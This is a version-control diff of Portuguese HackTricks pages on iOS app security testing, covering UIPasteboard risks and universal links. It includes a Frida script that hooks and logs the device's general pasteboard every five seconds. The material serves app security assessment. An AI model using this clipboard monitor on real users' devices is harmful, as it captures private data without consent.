* Intercepte `application:openURL:options:` e quaisquer outros métodos que foram identificados em uma análise estática anterior.
|
||||
* Observe o comportamento do aplicativo.
|
||||
* Além disso, você poderia enviar arquivos específicos malformados e/ou usar uma técnica de fuzzing.
|
||||
|
||||
**Leia mais** [**aqui**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.**
|
||||
**Leia como** [**aqui**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,90 +1,90 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
O [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) permite compartilhar dados dentro de um aplicativo e de um aplicativo para outros aplicativos. Existem dois tipos de pasteboards:
|
||||
O [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) possibilita o compartilhamento de dados dentro de um aplicativo e de um aplicativo para outros aplicativos. Existem dois tipos de pasteboards:
|
||||
|
||||
* **pasteboard geral do sistema**: para compartilhar dados com **qualquer aplicativo**. Persistente por padrão em reinicializações de dispositivos e desinstalações de aplicativos (desde o iOS 10).
|
||||
* **pasteboards personalizados / nomeados**: para compartilhar dados **com outro aplicativo** (que possui o mesmo ID de equipe do aplicativo a ser compartilhado) ou com o **próprio aplicativo** (eles estão disponíveis apenas no processo que os cria). Não persistentes por padrão (desde o iOS 10), ou seja, eles existem apenas até que o aplicativo proprietário (criador) seja encerrado.
|
||||
* **pasteboard geral do sistema**: para compartilhar dados com **qualquer aplicativo**. Persistente por padrão após reinicializações do dispositivo e desinstalações de aplicativos (desde o iOS 10).
|
||||
* **pasteboards personalizados / nomeados**: para compartilhar dados **com outro aplicativo** (que tenha o mesmo ID de equipe do aplicativo de origem) ou com o **próprio aplicativo** (eles estão disponíveis apenas no processo que os cria). Não persistentes por padrão (desde o iOS 10), ou seja, existem apenas até que o aplicativo proprietário (criador) seja fechado.
|
||||
|
||||
Algumas considerações de segurança:
|
||||
|
||||
* Os usuários **não podem conceder ou negar permissão** para que os aplicativos leiam o **pasteboard**.
|
||||
* Desde o iOS 9, os aplicativos [não podem acessar o pasteboard enquanto estão em segundo plano](https://forums.developer.apple.com/thread/13760), o que mitiga a monitoração do pasteboard em segundo plano.
|
||||
* [A Apple adverte sobre pasteboards nomeados persistentes](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) e **desencoraja seu uso**. Em vez disso, devem ser usados contêineres compartilhados.
|
||||
* A partir do iOS 10, há um novo recurso Handoff chamado **Universal Clipboard** que é ativado por padrão. Ele permite que o **conteúdo do pasteboard geral seja transferido automaticamente entre dispositivos**. Este recurso pode ser desativado se o desenvolvedor optar por fazê-lo e também é possível definir uma data e hora de expiração para os dados copiados.
|
||||
* Usuários **não podem conceder ou negar permissão** para aplicativos lerem o **pasteboard**.
|
||||
* Desde o iOS 9, aplicativos [não podem acessar o pasteboard enquanto estão em segundo plano](https://forums.developer.apple.com/thread/13760), isso mitiga o monitoramento do pasteboard em segundo plano.
|
||||
* [A Apple alerta sobre pasteboards nomeados persistentes](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) e **desencoraja seu uso**. Em vez disso, contêineres compartilhados devem ser usados.
|
||||
* A partir do iOS 10, há um novo recurso de Handoff chamado **Universal Clipboard** que é ativado por padrão. Ele permite que o **conteúdo do pasteboard geral seja automaticamente transferido entre dispositivos**. Este recurso pode ser desativado se o desenvolvedor assim escolher e também é possível definir um tempo e data de expiração para os dados copiados.
|
||||
|
||||
Portanto, é importante **verificar se informações confidenciais não estão sendo salvas no pasteboard global**.\
|
||||
Também é importante verificar se um **aplicativo não está usando os dados do pasteboard global para executar ações**, pois um aplicativo malicioso pode adulterar esses dados.
|
||||
Portanto, é importante **verificar se informações sensíveis não estão sendo salvas dentro do pasteboard global**.\
|
||||
Também é importante verificar se um **aplicativo não está usando os dados do pasteboard global para realizar ações**, pois um aplicativo malicioso poderia adulterar esses dados.
|
||||
|
||||
Um **aplicativo também pode impedir que seus usuários copiem dados confidenciais para a área de transferência** (o que é recomendado).
|
||||
Um **aplicativo também pode impedir que seus usuários copiem dados sensíveis para a área de transferência** (o que é recomendado).
|
||||
|
||||
## Análise estática
|
||||
## Análise Estática
|
||||
|
||||
O **pasteboard geral do sistema** pode ser obtido usando [`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc), pesquise o código-fonte ou o binário compilado para este método. O uso do pasteboard geral do sistema deve ser evitado ao lidar com dados confidenciais.
|
||||
O **pasteboard geral do sistema** pode ser obtido usando [`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc), procure no código-fonte ou no binário compilado por este método. O uso do pasteboard geral do sistema deve ser evitado ao lidar com dados sensíveis.
|
||||
|
||||
**Pasteboards personalizados** podem ser criados com [`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc) ou [`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc). Verifique se os pasteboards personalizados estão definidos como persistentes, pois isso é obsoleto desde o iOS 10. Deve ser usado um contêiner compartilhado.
|
||||
**Pasteboards personalizados** podem ser criados com [`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc) ou [`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc). Verifique se os pasteboards personalizados estão configurados para serem persistentes, pois isso está obsoleto desde o iOS 10. Em vez disso, um contêiner compartilhado deve ser usado.
|
||||
|
||||
## Análise dinâmica
|
||||
## Análise Dinâmica
|
||||
|
||||
Intercepte ou rastreie o seguinte:
|
||||
Faça hook ou trace nos seguintes itens:
|
||||
|
||||
* `generalPasteboard` para o pasteboard geral do sistema.
|
||||
* `pasteboardWithName:create:` e `pasteboardWithUniqueName` para pasteboards personalizados.
|
||||
|
||||
Você também pode interceptar ou rastrear o método obsoleto [`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc) e verificar se ele está sendo chamado.
|
||||
Você também pode fazer hook ou trace no método obsoleto [`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc) e verificar se ele está sendo chamado.
|
||||
|
||||
Ao **monitorar** os **pasteboards**, há vários **detalhes** que podem ser **recuperados** dinamicamente:
|
||||
|
||||
* Obtenha o **nome do pasteboard** interceptando `pasteboardWithName:create:` e inspecionando seus parâmetros de entrada ou `pasteboardWithUniqueName` e inspecionando seu valor de retorno.
|
||||
* Obtenha o **primeiro item disponível no pasteboard**: por exemplo, para strings, use o método `string`. Ou use qualquer um dos outros métodos para os [tipos de dados padrão](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275).
|
||||
* Obtenha o **nome do pasteboard** fazendo hook em `pasteboardWithName:create:` e inspecionando seus parâmetros de entrada ou `pasteboardWithUniqueName` e inspecionando seu valor de retorno.
|
||||
* Pegue o **primeiro item disponível no pasteboard**: por exemplo, para strings use o método `string`. Ou use qualquer um dos outros métodos para os [tipos de dados padrão](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275).
|
||||
* Obtenha o **número de itens** com `numberOfItems`.
|
||||
* Verifique a **existência de tipos de dados padrão** com os [métodos de conveniência](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), por exemplo, `hasImages`, `hasStrings`, `hasURLs` (a partir do iOS 10).
|
||||
* Verifique outros tipos de dados (tipicamente UTIs) com [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). Você pode inspecionar tipos de dados mais concretos, como uma imagem como public.png e public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) ou dados personalizados, como com.mycompany.myapp.mytype. Lembre-se de que, nesse caso, apenas os aplicativos que _declararam conhecimento_ do tipo são capazes de entender os dados escritos no pasteboard. Recupere-os usando [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) e definindo os UTIs correspondentes.
|
||||
* Verifique itens excluídos ou expirados interceptando `setItems:options:` e inspecionando suas opções para `UIPasteboardOptionLocalOnly` ou `UIPasteboardOptionExpirationDate`.
|
||||
* Verifique **outros tipos de dados** (tipicamente UTIs) com [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). Você pode inspecionar tipos de dados mais concretos, como uma imagem como public.png e public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) ou para dados personalizados como com.mycompany.myapp.mytype. Lembre-se de que, neste caso, apenas os aplicativos que _declaram conhecimento_ do tipo são capazes de entender os dados escritos no pasteboard. Recupere-os usando [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) e definindo os UTIs correspondentes.
|
||||
* Verifique itens excluídos ou com expiração fazendo hook em `setItems:options:` e inspecionando suas opções para `UIPasteboardOptionLocalOnly` ou `UIPasteboardOptionExpirationDate`.
|
||||
|
||||
Se estiver procurando apenas por strings, convém usar o comando **objection** `ios pasteboard monitor`:
|
||||
Se estiver procurando apenas por strings, você pode querer usar o comando do **objection** `ios pasteboard monitor`:
|
||||
|
||||
> Interfere na classe UIPasteboard do iOS e verifica o generalPasteboard a cada 5 segundos em busca de dados. Se novos dados forem encontrados, diferentes da pesquisa anterior, esses dados serão exibidos na tela.
|
||||
> Faz hook na classe UIPasteboard do iOS e verifica o generalPasteboard a cada 5 segundos em busca de dados. Se novos dados forem encontrados, diferentes da verificação anterior, esses dados serão exibidos na tela.
|
||||
|
||||
Você também pode criar seu próprio monitor de pasteboard que monitora informações específicas, como visto acima.
|
||||
Você também pode construir seu próprio monitor de pasteboard que monitora informações específicas como visto acima.
|
||||
|
||||
Por exemplo, este script (inspirado no script por trás do monitor de pasteboard do [objection](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)) lê os itens do pasteboard a cada 5 segundos, se houver algo novo, ele será impresso:
|
||||
Por exemplo, este script (inspirado no script por trás do [monitor de pasteboard do objection](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)) lê os itens do pasteboard a cada 5 segundos, se houver algo novo, ele imprimirá:
|
||||
```
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
var items = "";
|
||||
var count = Pasteboard.changeCount().toString();
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
var items = "";
|
||||
var count = Pasteboard.changeCount().toString();
|
||||
|
||||
setInterval(function () {
|
||||
const currentCount = Pasteboard.changeCount().toString();
|
||||
const currentItems = Pasteboard.items().toString();
|
||||
const currentCount = Pasteboard.changeCount().toString();
|
||||
const currentItems = Pasteboard.items().toString();
|
||||
|
||||
if (currentCount === count) { return; }
|
||||
if (currentCount === count) { return; }
|
||||
|
||||
items = currentItems;
|
||||
count = currentCount;
|
||||
items = currentItems;
|
||||
count = currentCount;
|
||||
|
||||
console.log('[* Pasteboard changed] count: ' + count +
|
||||
' hasStrings: ' + Pasteboard.hasStrings().toString() +
|
||||
' hasURLs: ' + Pasteboard.hasURLs().toString() +
|
||||
' hasImages: ' + Pasteboard.hasImages().toString());
|
||||
console.log(items);
|
||||
console.log('[* Pasteboard changed] count: ' + count +
|
||||
' hasStrings: ' + Pasteboard.hasStrings().toString() +
|
||||
' hasURLs: ' + Pasteboard.hasURLs().toString() +
|
||||
' hasImages: ' + Pasteboard.hasImages().toString());
|
||||
console.log(items);
|
||||
|
||||
}, 1000 * 5);
|
||||
}, 1000 * 5);
|
||||
```
|
||||
# Referências
|
||||
|
||||
|
@ -94,16 +94,14 @@ setInterval(function () {
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,101 +1,99 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Os links universais permitem **redirecionar usuários diretamente** para o aplicativo sem passar pelo Safari para redirecionamento.\
|
||||
Os links universais são **únicos**, então eles **não podem ser reivindicados por outros aplicativos** porque usam links HTTP(S) padrão para o **site onde o proprietário carregou um arquivo para garantir que o site e o aplicativo estejam relacionados**.\
|
||||
Como esses links usam esquemas HTTP(S), quando o **aplicativo não está instalado, o Safari abrirá o link** redirecionando os usuários para a página. Isso permite que **os aplicativos se comuniquem com o aplicativo mesmo que ele não esteja instalado**.
|
||||
Links universais permitem **redirecionar usuários diretamente** para o aplicativo sem passar pelo Safari para redirecionamento.\
|
||||
Os links universais são **únicos**, então **não podem ser reivindicados por outros aplicativos** porque usam links HTTP(S) padrão para o **site onde o proprietário carregou um arquivo para garantir que o site e o aplicativo estejam relacionados**.\
|
||||
Como esses links usam esquemas HTTP(S), quando o **aplicativo não está instalado, o Safari abrirá o link** redirecionando os usuários para a página. Isso permite que **aplicativos se comuniquem com o aplicativo mesmo que ele não esteja instalado**.
|
||||
|
||||
Para criar links universais, é necessário **criar um arquivo JSON chamado `apple-app-site-association`** com os detalhes. Em seguida, este arquivo precisa ser **hospedado no diretório raiz do seu servidor da web** (por exemplo, [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\
|
||||
Para criar links universais é necessário **criar um arquivo JSON chamado `apple-app-site-association`** com os detalhes. Depois, este arquivo precisa ser **hospedado no diretório raiz do seu servidor web** (por exemplo, [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\
|
||||
Para o pentester, este arquivo é muito interessante, pois **revela caminhos**. Ele pode até estar revelando caminhos de lançamentos que ainda não foram publicados.
|
||||
|
||||
## **Verificando a Autorização de Domínios Associados**
|
||||
## **Verificando o Entitlement de Domínios Associados**
|
||||
|
||||
No Xcode, vá para a guia **Capabilities** e procure por **Associated Domains**. Você também pode inspecionar o arquivo `.entitlements` procurando por `com.apple.developer.associated-domains`. Cada um dos domínios deve ser prefixado com `applinks:`, como `applinks:www.mywebsite.com`.
|
||||
No Xcode, vá para a aba **Capabilities** e procure por **Associated Domains**. Você também pode inspecionar o arquivo `.entitlements` procurando por `com.apple.developer.associated-domains`. Cada um dos domínios deve ser prefixado com `applinks:`, como `applinks:www.meusite.com`.
|
||||
|
||||
Aqui está um exemplo do arquivo `.entitlements` do Telegram:
|
||||
```markup
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
<string>applinks:telegram.me</string>
|
||||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
<string>applinks:telegram.me</string>
|
||||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
Mais informações detalhadas podem ser encontradas na [Documentação do Desenvolvedor da Apple arquivada](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
Informações mais detalhadas podem ser encontradas na [documentação arquivada da Apple Developer](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
|
||||
Se você só tem o aplicativo compilado, pode extrair as permissões seguindo este guia:
|
||||
Se você possui apenas o aplicativo compilado, pode extrair os entitlements seguindo este guia:
|
||||
|
||||
{% content-ref url="extracting-entitlements-from-compiled-application.md" %}
|
||||
[extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Recuperando o Arquivo de Associação do Site do Aplicativo da Apple
|
||||
## **Recuperando o Arquivo de Associação de Site da Apple**
|
||||
|
||||
Tente recuperar o arquivo `apple-app-site-association` do servidor usando os domínios associados que você obteve na etapa anterior. Este arquivo precisa ser acessível via HTTPS, sem redirecionamentos, em `https://<domain>/apple-app-site-association` ou `https://<domain>/.well-known/apple-app-site-association`.
|
||||
Tente recuperar o arquivo `apple-app-site-association` do servidor usando os domínios associados que você obteve no passo anterior. Este arquivo precisa estar acessível via HTTPS, sem redirecionamentos, em `https://<domínio>/apple-app-site-association` ou `https://<domínio>/.well-known/apple-app-site-association`.
|
||||
|
||||
Você pode recuperá-lo com seu navegador ou usar o [Validador de Associação do Site do Aplicativo da Apple (AASA)](https://branch.io/resources/aasa-validator/).
|
||||
Você pode recuperá-lo sozinho com seu navegador ou usar o [Validador de Associação de Site da Apple (AASA)](https://branch.io/resources/aasa-validator/).
|
||||
|
||||
## Verificando o Método de Recepção de Links
|
||||
## **Verificando o Método Receptor de Link**
|
||||
|
||||
Para receber links e manipulá-los adequadamente, o delegado do aplicativo deve implementar [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Se você tiver o projeto original, tente procurar por este método.
|
||||
Para receber links e lidar com eles adequadamente, o delegado do aplicativo deve implementar [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Se você tem o projeto original, tente procurar por este método.
|
||||
|
||||
Observe que se o aplicativo usar [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) para abrir um link universal para o site do aplicativo, o link não será aberto no aplicativo. Como a chamada se origina do aplicativo, ela não será tratada como um link universal.
|
||||
Observe que se o aplicativo usa [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) para abrir um link universal para o site do aplicativo, o link não será aberto no aplicativo. Como a chamada se origina do aplicativo, ela não será tratada como um link universal.
|
||||
|
||||
* O esquema do `webpageURL` deve ser HTTP ou HTTPS (qualquer outro esquema deve gerar uma exceção). A propriedade de instância [`scheme`](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) de `URLComponents` / `NSURLComponents` pode ser usada para verificar isso.
|
||||
* O esquema da `webpageURL` deve ser HTTP ou HTTPS (qualquer outro esquema deve lançar uma exceção). A [propriedade de instância `scheme`](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) de `URLComponents` / `NSURLComponents` pode ser usada para verificar isso.
|
||||
|
||||
## Verificando o Método de Manipulação de Dados
|
||||
## **Verificando o Método de Manipulação de Dados**
|
||||
|
||||
